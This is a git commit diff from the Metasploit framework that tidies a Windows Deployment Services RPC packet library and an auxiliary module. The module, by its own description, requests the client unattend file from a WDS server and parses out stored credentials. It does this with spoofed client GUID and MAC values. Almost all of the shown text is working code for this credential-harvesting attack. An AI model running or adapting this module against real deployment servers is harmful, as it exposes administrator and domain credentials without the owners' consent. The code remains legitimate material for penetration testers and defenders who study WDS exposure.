Use NDR 32bit syntax.

Compatible with both x86 and x64 systems.
Tidy up the module...
bug/bundler_fix
Meatballs 2013-10-12 18:52:45 +01:00
parent 876d4e0aa8
commit cad717a186
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
2 changed files with 44 additions and 33 deletions

View File

@ -19,11 +19,19 @@ class Packet
def add_var(name, type_mod=0, value_length=nil, array_size=0, value) def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
padding = 0 padding = 0
value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] vt = WDS_CONST::VAR_TYPE_LOOKUP[name]
value_type = WDS_CONST::BASE_TYPE[vt]
name = Rex::Text.to_unicode(name).unpack('H*')[0] name = Rex::Text.to_unicode(name).unpack('H*')[0]
value_length ||= value.length # Terminate strings with null char
if vt == :STRING
value << "\x00"
elsif vt == :WSTRING
value = Rex::Text.to_unicode(value)
value << "\x00\x00"
end
value_length ||= value.length
# Variable block total size should be evenly divisible by 16. # Variable block total size should be evenly divisible by 16.
len = 16 * (1 + (value_length/16)) len = 16 * (1 + (value_length/16))
@variables << @variables <<
@ -51,7 +59,7 @@ class Packet
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark # These bytes are not part of the spec but are not part of DCERPC according to Wireshark
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
packet << Rex::Text.pack_int64le(packet_size+40)*2 packet << [(packet_size+40)].pack('V') * 2
packet << create_endpoint_header(packet_size) packet << create_endpoint_header(packet_size)
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
packet.concat(@variables) packet.concat(@variables)
@ -60,7 +68,8 @@ class Packet
end end
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
return [ packet_size, # PacketSize return [
packet_size, # PacketSize
256, # Version 256, # Version
packet_type, # Packet_Type packet_type, # Packet_Type
0, # Padding 0, # Padding
@ -70,7 +79,8 @@ class Packet
end end
def create_endpoint_header(packet_size) def create_endpoint_header(packet_size)
return [ 40, # Header_Size return [
40, # Header_Size
256, # Version 256, # Version
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID WDS_CONST::OS_DEPLOYMENT_GUID, # GUID

View File

@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
DCERPCClient = Rex::Proto::DCERPC::Client DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID DCERPCUUID = Rex::Proto::DCERPC::UUID
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -28,11 +28,10 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
This module retrieves the client unattend file from Windows This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials. Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2, 64-bit. Tested against Windows 2008 R2 x64 and Windows 2003 x86.
}, },
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '',
'References' => 'References' =>
[ [
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
@ -65,12 +64,15 @@ class Metasploit3 < Msf::Auxiliary
def query_host(rhost) def query_host(rhost)
# Create a handler with our UUID and Transfer Syntax # Create a handler with our UUID and Transfer Syntax
ndr86 = '8a885d04-1ceb-11c9-9fe8-08002b104860'
version = 2
self.handle = Rex::Proto::DCERPC::Handle.new( self.handle = Rex::Proto::DCERPC::Handle.new(
[ [
WDS_CONST::WDSCP_RPC_UUID, WDS_CONST::WDSCP_RPC_UUID,
'1.0', '1.0',
'71710533-beba-4937-8319-b5dbef9ccc36', ndr86,
1 version,
], ],
'ncacn_ip_tcp', 'ncacn_ip_tcp',
rhost, rhost,
@ -108,8 +110,7 @@ class Metasploit3 < Msf::Auxiliary
result = request_client_unattend(architecture) result = request_client_unattend(architecture)
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
vprint_error(e.to_s) vprint_error(e.to_s)
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") fail_with(Failure::Unknown, "#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
return
end end
unless result.nil? unless result.nil?
@ -143,20 +144,20 @@ class Metasploit3 < Msf::Auxiliary
def request_client_unattend(architecture) def request_client_unattend(architecture)
# Construct WDS Control Protocol Message # Construct WDS Control Protocol Message
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
guid = '11223344556677578058C2C04F503931'
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
# Not sure what this padding is for...
mac = [0x30].pack('C') * 20
mac << "000c29e0bab8"
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ version = [1].pack('V')
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")
wdsc_packet = packet.create wdsc_packet = packet.create
print_status("Sending #{architecture[0]} Client Unattend request ...") print_status("Sending #{architecture[0]} Client Unattend request ...")
@ -167,7 +168,8 @@ class Metasploit3 < Msf::Auxiliary
data = dcerpc.last_response.stub_data data = dcerpc.last_response.stub_data
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
op_error_code = data.unpack('i*')[18] #puts data.unpack('v*').inspect
op_error_code = data.unpack('v*')[19]
if op_error_code == 0 if op_error_code == 0
if data.length < 277 if data.length < 277
vprint_error("No Unattend received for #{architecture[0]} architecture") vprint_error("No Unattend received for #{architecture[0]} architecture")
@ -192,13 +194,12 @@ class Metasploit3 < Msf::Auxiliary
def parse_client_unattend(data) def parse_client_unattend(data)
begin begin
xml = REXML::Document.new(data) xml = REXML::Document.new(data)
return Rex::Parser::Unattend.parse(xml).flatten
rescue REXML::ParseException => e rescue REXML::ParseException => e
print_error("Invalid XML format") print_error("Invalid XML format")
vprint_line(e.message) vprint_line(e.message)
end return nil
end
return Rex::Parser::Unattend.parse(xml).flatten
end end
def loot_unattend(archi, data) def loot_unattend(archi, data)